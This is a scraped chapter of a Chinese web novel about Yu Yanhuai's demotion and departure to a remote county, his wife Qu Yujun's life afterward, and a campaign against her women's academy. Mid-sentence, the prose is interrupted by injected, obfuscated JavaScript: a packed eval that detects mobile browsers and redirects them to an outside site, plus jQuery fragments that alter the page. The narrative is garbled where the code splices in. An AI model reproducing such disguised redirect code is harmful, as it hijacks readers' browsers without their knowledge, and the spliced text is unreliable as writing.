112.送别

作品:《她死于新婚第二年

    牟涂县隶属于吉北府,地处北境,民风彪悍,于彦怀随和谈使团前往北疆时,曾路过此地。


    从三品的侍郎一夕被贬作七品的知县,无异于瞬间从云端跌落,外人都在议论,于彦怀这下是真的彻底失去圣心了,从堂堂侍郎大人贬作七品知县也便罢了,还给遣去了那等偏远荒芜之地,许多京城百姓甚至从未听闻过这个牟涂县,也不知是在哪个犄角旮旯里。


    于府之中,于彦怀一边收拾行李,一边长叹一口气,颇有些感慨似地对曲瑜珺道:“本来还打算着吃夫人的软饭呢,这下是不成了。”


    要换了往常,曲瑜珺定是要打趣于彦怀一番的,可眼下她只是将准备好的草药递给于彦怀,始终没有吭声。


    于彦怀见状,停下来,看着曲瑜珺,含笑道:“不舍得我啊?”


    “你真的没事吗?”


    自从调令下达之后,于彦怀一直都是一副乐于接受的模样,可任是谁一下子从侍郎被贬至知县都不会毫无波动,曲瑜珲担心他是在强撑。


    于彦怀直起身来,“起初有点失落,毕竟好不容易才走到这个位置。不过这种失落并未超过半日,真正叫我难受的是,”他笑了笑,握住曲瑜珺的手,“我又得跟你分开,自我们成亲后,好像总是聚少离多。”


    曲瑜珺怀疑地看着他,“真的?”


    于彦怀状似惊讶,“你不信我?我对你的心你还不知晓吗?”


    曲瑜珺终于忍不住拧了他一把,“你知道我说的不是这个。”


    于彦怀这才收起脸上的笑,认真道:“其实当初要不是遇到淮安府出事,我本就打算请示外调做知县的。”


    对于于彦怀来说,在翰林院熬资历并不是一件符合他期望的事。


    “如今不过是回到了我最开始想要走的那条路。不管是哪条路,我想最后一定能殊途同归。”


    时隔数年,眼前的于彦怀并不输于当日被点中探花跨马游街时的自信耀眼,他好似总能向着他的目标一往无前。


    于彦怀离京的这日,天气并不怎么好,阴沉沉的,冷风一个劲儿地往人骨头里钻。


    傅凛的马车停在那里,前方不远处便是即将启程的于彦怀和送他出城的曲瑜珺。


    傅凛的手指撩开车厢窗帘的一角,顺着这一角望出去,背对着他的曲瑜珺不知在跟于彦怀说些什么,傅凛看不到她脸上的表情,想象着她的不舍会是什么样子的。


    冷风不断地拂乱她披风兜帽上的风毛,于彦怀捧住她的脸,说了句什么,然后曲瑜珺摇了摇头,靠进了他的怀中。


    看到这里,傅凛收回手,帘子重新垂落下来,将外头的一切隔绝。


    “好了,回去吧,太冷了。”


    于彦怀轻拍了拍曲瑜珺的肩膀,“等着我回来,不会太久的。”


    曲瑜珺点头,她知晓,他从来都说到做到。


    一直目送曲瑜珺上了马车,于彦怀这才带着自己的随从常川启程往北边去。


    于彦怀离开后,曲瑜珺照常往来于书院和于府,并未多思多虑,只是曲夫人却不免为自己的女儿忧心。


    “也不知圣人究竟是什么意思,我问你父亲,他也说不出个所以然来。”


    老爷的意思是,以景淙的能力就算去到那等蛮荒之地,也未尝没有升迁归京的一日。怕就怕果然如外人所说,圣人彻底厌弃了景淙,若果真如此,那就算景淙在任上做得再好,也无法再归京了,很有可能一辈子就耗在知县的位置上。


    曲瑜珺挑拣着箩筐里的丝线,漫不经心地道:“圣心谁能揣摩得准?但总归景淙去了牟涂县也能为百姓做些实事,这是他愿意的。”


    “你们两个成亲才不过一年,之前景淙又有大半年去到北疆和谈,这此去牟涂做知县又不知要到什么时候才回来,难不成你们就这样一直两地分居?”


    曲瑜珺无奈,“那能怎么办?圣人下令叫他去牟涂,谁能违背?”


    曲夫人无默然,她知晓女儿是舍不下书院里的一摊事。不过就算没有明智书院,她也不大乐意叫女儿跟过去。


    那牟涂实在是偏远莽荒之地,听老爷说,当地百姓许多都尚未开化,连律法都能视作无物,是能不去则不去的地方。


    只是如此一来,有件事便麻烦了,曲夫人将左右屏退,才压低了声音对曲瑜珺道:“只是如此一来,你要如何怀上孩子?”


    景淙这一走,谁也不知道什么时候能回来,其实没孩子也没什么,麻烦的是万一景淙在那头找了外室,甚至有了外室子……


    曲瑜珺却不甚在意,“那我也没法子,景淙说他会尽快回来的,我等着他便是。”


    曲瑜珺在曲家用了夕食后方乘了马车回于府。


    曲夫人回到卧房,看见丈夫正坐在圈椅上出神,是不是长吁短叹,不由问道:“老爷这是怎么了?瞧着有心事的模样。”


    曲庭冲她摆了摆手,“无事。”


    曲夫人见状也不再追问,片刻之后还是曲庭自己先忍不住,再次开了口,“今日傅凛送了我一方砚台,那实在是一方难得的好砚,孤品啊。”


    说完,又长长叹息了一声,可见是十万惋惜了。


    曲夫人听他话里的意思,肯定是没收,略略放心了些,却又忍不住恼道:“傅凛这是什么意思?还想缠着我们瑜珺不放呢?”之前他强行掳走瑜珺的事,至今想起来还心有余悸呢。


    “他如今立了功回到兵部,还来上赶着讨好我,还能是为着什么。”


    曲夫人变了脸色,“瑜珺厌极了傅凛,绝不愿再跟他有什么纠缠的。”


    曲庭立即知晓自己妻子在担心什么,“我这不是没收他的砚吗?这阵子我都躲着他走,没得叫人看见了,还以为我们曲家是墙头草呢。”


    曲庭虽从来趋利避害,但既然已经将女儿嫁给了于彦怀,就算于彦怀如今落魄了,也只有一条道走到黑。不然叫外人怎么看曲家?拜高踩低的墙头草?全无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724344|184030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    文人世家的风骨了。孰轻孰重,他还是分得清的。


    曲夫人见他说得笃定,这才彻底放了心。


    “还有,三弟今日来找过我,说打听到岑家过阵子要办花宴,若届时你收到了帖子,请你帮忙带他的两个女儿一起敷衍。”


    每逢春日,各家总是要找由头办花宴。一则,女眷们长久被困在内宅,实在无趣,大家借着花宴玩乐一番只当散心了。二则,各家小子、姑娘,到了年纪要说亲,长辈们也好借此机会相看,顺便探探口风。


    而曲三爷游手好闲几十年,全靠曲家给的例银养着,长女已出嫁多年,日子虽还算安稳,但女婿也无甚作为。如今最底下的两个女儿也长到了年纪,他虽不指望着能找到什么大富大贵的门户做亲家,但总也不愿太差的。


    只是这样的花宴极少有人家给他们夫妻二人下帖子,他便求到了自己大嫂这里来。


    曲夫人心里不甚情愿,毕竟也不是自己的女儿,带出去还要各种操心,若到时不小心失了礼,那丢的事整个曲家的脸,自己回来后也得落埋怨。


    但谁让自己是长房媳妇,三弟又开了这个口,实在没法拒绝。


    却不知明智书院里有一女学生也在为岑家花宴的事所苦恼。


    “今日怎么了?有心事?学堂之上一直在走神。”曲瑜珺轻拍眼前姑娘的脑袋。


    “过两天,我要跟着我母亲去岑家赴花宴了。”


    曲瑜珺当年待嫁时也被带去过各种花宴,再看她脸上苦恼的表情,当即明白她的意思,却又不免有些奇怪,“你年纪尚小,再等两年也可,怎么……?”


    虽大衍各地女子,十二三岁嫁人的姑娘也常有,但在京城这地界,十五岁之前出嫁的姑娘少之又少。尤其是家底丰厚一些的人家,将自家姑娘留到十七八岁都是十分寻常。


    “父亲的意思是,也不急着定下来,先露个脸,叫各家夫人留个印象。”


    “那你母亲的意思呢?”


    邱惟珠摇头,“母亲的话在父亲跟前向来算不得什么。”


    “父亲的意思是,不急着将婚事定下,但一旦定下了,就不许我再来书院念书了。”邱惟珠显然很苦恼。


    曲瑜珺站在一旁不知该说些什么,以前在高柳县时也是一样,书院里的姑娘一旦定了亲,家里便不许她们再来念书,只呆在家中待嫁。


    到了岑家花宴这日,邱惟珠还是告了假。


    曲瑜珺没有去那场花宴,但后来听闻邱惟珠在宴上跟数位男子对峙,出口成章,不落下风,直将其中一个气得当场破口大骂,风度全无。


    曲瑜珺听过之后只是一笑置之,没怎么放在心上,谁知没多久,有人却借着此事推波助澜,扬言明智书院蛊惑人心,诱引女子不安于室,意图颠倒乾坤,必要关停明智书院方能安稳人心,免于祸患。


    就连已经被流放的聂文芃也重新被牵扯了进来,言说她胆敢替考科举,也是受了明智书院的蛊惑。